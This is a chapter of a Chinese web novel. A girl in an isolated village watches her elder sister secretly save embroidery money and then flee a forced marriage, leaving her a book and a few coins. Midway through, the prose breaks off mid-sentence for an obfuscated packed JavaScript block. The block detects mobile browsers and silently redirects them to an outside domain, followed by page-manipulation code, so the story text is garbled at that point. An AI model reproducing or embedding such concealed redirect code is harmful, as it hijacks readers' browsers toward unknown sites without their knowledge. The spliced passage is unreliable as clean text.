那天夜里，来椿与阿姐一起躺在床上，翻来覆去地睡不着觉。
都怪门被风吹着，吱呀呀地响。
可母亲不准她们关了门睡，说是怕有什么危险照应不过来，实际上来椿心里都知道，她这是要监督阿姐不准读书呢，想要两个女儿上了床后，都能安安分分地睡觉。
母亲嘴上说得好听，却总是有意无意地提起，女孩子家家的读那么多书做什么，还不如以后择一门好夫婿，这样才能后半辈子有靠。
读那么多书，最后还不是要去别人家做媳妇，何苦来哉？
母亲这样说过之后，阿姐的脸上总会低落好一阵。
今晚的阿姐也一样低落，似乎和来椿一样睡不着觉，心事重重的，来椿在旁边偷偷打量了阿姐好半晌，也没见阿姐动一下。
真正睡熟了的人，翻身和呼吸肯定都不像现在这样硬邦邦的。
冰冷的月光照在阿姐的脸上，而阿姐的目光看向木窗外面。
黑漆漆的天空中只有一轮圆月，孤零零地亮着，像是一张要吃人的嘴，和吱嘎作响的木门一起，合该是阿姐念过的话本里，那些志怪故事的开头。
阿姐有一双好看的眼睛，像是会说话。
有这样一双眼睛，就算阿姐不笑的时候显得和父亲一样凶，可一旦笑起来，就温柔得不得了。
在来椿心里，阿姐比母亲还要更像母亲一点。
她在睡觉时会抱着自己的小妹妹，这样一来，冬日里也没那么冷了。
发觉来椿在看她之后，阿姐低下头，问道：“小椿儿，你想没想过离开村子？”
“离开村子？”来椿有些疑惑，不知道为什么阿姐今晚要提到这个在村中人人缄口的话题，“为什么要离开村子？父亲说过了，离开我们就再也回不来了。”
来椿稍稍长大一些之后，虽然早已不再像小时候那样轻信鬼神之说，可无论如何，长年累月积攒在她心中的畏惧依旧难以消磨。
父亲母亲多年如一日地耳提面命着，不让她们想着要出去，想着做村中禁忌之事。
更何况，来椿没有忘记，前年灰袍人来时，王伯家的小儿子看着车队豪奢，想要偷偷跟在他们后面，去看一看外面的天地，然而这一走，便是两年没有回来。
不只是王伯家，这些年陆陆续续偷跑出去了很多人，但来椿都没有见过他们回来，不是出事了，又是怎么回事呢？
“或许只有我们被困住了，”阿姐望着窗外的月亮，神色动容，最终只是叹了口气，“椿儿，离开的人不是回不来，而是不想再回来了。”
“为什么不想回来？外头就那么好吗？”来椿不解地问道。
“因为外面的天地更自由，更广阔，而回来便是四方的天，走不出去的村子，回来又有什么好的呢？”
“是这样吗……”来椿懵懵懂懂，似乎觉得也有几分道理。
她从小到大都信阿姐说的话，也喜欢和阿姐待在一起，无论阿姐说的是对是错，只要阿姐愿意带上她，即便是要离开，来椿也会毫不犹豫踏出村子的石墙的。
为了家里能够多赚些钱，母亲总是让阿姐绣帕子，没日没夜地绣完那些送到家里的布料。阿姐的手也很争气，即便是这样枯燥又琐碎的绣活，她也能精细地绣好每一个花样。
或许是积年苦练来的一身手艺终于有了能回报她的时候，阿姐绣的手帕都很少出错，这样就能紧赶慢赶，省出一条帕子来，送到村里别的女人家，将多绣出来的一条卖出去。
即便上好的帕子只换得来几枚铜板，阿姐也从未停止过，反倒是小心翼翼地将这些铜板攒起来，放在床下最深处的一个破坛子里，再用木板和沙石仔仔细细地盖住。
虽然来椿从来没有问过，但她也知道，这是阿姐省吃俭用攒下来的钱，一旦被父亲母亲发现了，铜板要被没收不说，还要讨上好一顿打。
这个秘密和村中来人的秘密一同烂在来椿的心里，她甚至很少去想，以免被母亲发现端倪。
那一小坛子钱，不仅是阿姐的前途，更是阿姐的命。
阿姐曾对来椿说：“这世道如此，没人对我好的话，我便要自己为自己，挣一条出路。”
“阿姐的出路就在外面吗？”来椿问，“倘若阿姐要走，会带上我一起吗？”
“会的，”阿姐转过头，看着眼前的妹妹，坚定道，“阿姐一定一定，会带上小椿儿的。”
只要阿姐不将自己抛下，那也没什么好犹豫的。
反正他们这一家人，也并不像真正的一家人。至少阿姐和父亲母亲不像是有血缘关系的亲人，阿姐也不像村中其他孩子那样，爱自己的父亲母亲。
虽然来椿在家里也没得到很多疼爱，但或许她是家中最小的孩子，总归是要比待阿姐更亲厚一点的。
母亲做了好吃的饭菜，或是从哪里带回来了好吃的点心，都有来椿的一份，却没有阿姐的一份。
父亲每每被姐妹两个气急的时候，也只会罚阿姐，不会罚来椿。
不过他们还是想要个儿子，毕竟往后来椿嫁出去了，家里便是断了香火，没人为他们摔盆打瓦了。
来椿自己倒是没想过嫁人的事，对现在的她而言还太早了，她依旧是每天疯玩疯闹的年纪，要说真正定下心想要做的事，也无非是守在阿姐身边，看着阿姐绣花。
要她来选的话，自然是和阿姐一起过日子，这才算舒心自在。
阿姐也肯定是喜欢来椿的，否则不会让她知道这样大的秘密，也不会对来椿说想要带她走这样的话。
春去冬来，年关一翻，日子便要有条不紊地过下去。
阿姐心里惦记着要走的事，来椿也心照不宣地关心着小坛子的长势。
像是地里的庄稼一般，那小坛子越积越满，直到来椿十七岁那年，阿姐的罐子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203508|181260||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终于能看见铜板冒出的尖尖，圆月一样隆起了一面弧度。
她盘算着阿姐什么时候能带她离开村子，当晚，父亲喝了很多酒回家，一进门，便将一锭银子掷在桌上。
来椿从来没见过这样多的钱，阿姐攒的那些铜板加起来或许也不够这锭银子的重量。
可父亲说，这锭银子是聘礼。
是村西那家有好几亩田的人，想要求娶阿姐，给他的三个孩子做后母。
来椿当即就摔了筷子跌了碗，连父亲揪她耳朵也不怕了，梗着脖子说：“倘若你要我阿姐嫁过去，便只能先在家里办我的白事了！”
他们当即变了脸色，父亲狠狠给了她一巴掌，来椿捂着脸，眼泪止不住地往下掉。
阿姐的眼泪也往下掉，母亲坐在桌子的那头，沉默地皱着眉，什么也没有说。
父亲将来椿搡进小屋里时，怒道：“饿她两天又如何！没大没小的东西，忤逆上亲也不怕遭报应！”
来椿趴在和阿姐的床上，倒气一样哭，头也一阵阵发晕，却仍是不肯屈服。
没一阵，阿姐便进来了。
她偷偷给来椿手里塞了个冷掉的窝头，坐到来椿身边去，像小时候一样摸着来椿的头，温柔又憔悴。
阿姐说：“傻椿儿，阿姐要走了，你晓得吗，阿姐不愿意嫁那样的人家，你也是大姑娘了，你肯定晓得的。”
来椿从被子中挣扎出半张脸来，眼睛肿胀着，泪水模糊了她的视线，是以阿姐的脸也不大看得清了。
她紧紧握住阿姐的手，啜泣着说：“阿姐真的要离开村子了吗？”
半明半寐的屋子里，阿姐沉默了半晌，似乎是放不下妹妹，最后却依旧挣扎着点了点头。
她从床头翻出了那本早已翻烂了的书，眼泪落在封皮上，啪嗒一声，晕开了陈年的墨迹。
随后，阿姐将书塞到来椿手里，同样哽咽道：“阿姐不在的日子里，你要好生读书认字，别听父亲母亲的话，别荒废了自己。椿儿，就算是要烂要死，咱们也要死在更辽阔的地方。”
来椿不住地点头。
她看见阿姐站起身来，从床底的窟窿里掘出一满罐的铜钱，又拿出几枚，放在了来椿的手心里。
来椿紧紧握着那几枚铜钱，像是落水之人拽住岸边的水草一般，舍不得松开。
她的泪流了满脸，却只能说：“阿姐，我舍不得你。”
阿姐努力将脸移开了，她怕自己看见妹妹哭就走不了，怕一辈子也出不去这四方的天，因此强忍着泪，说：“椿儿别怕，等阿姐在外头站稳脚跟，便立刻回来接你……倘若阿姐回不来了，你也要学着走出去，飞出去，好不好？”
来椿的泪又多了几分。
那晚，眼泪浸湿了来椿的枕头。
她看见阿姐离开的、模糊的背影，手心握着阿姐的泪和铜钱，梦里梦外，都是阿姐说的，辽阔的天。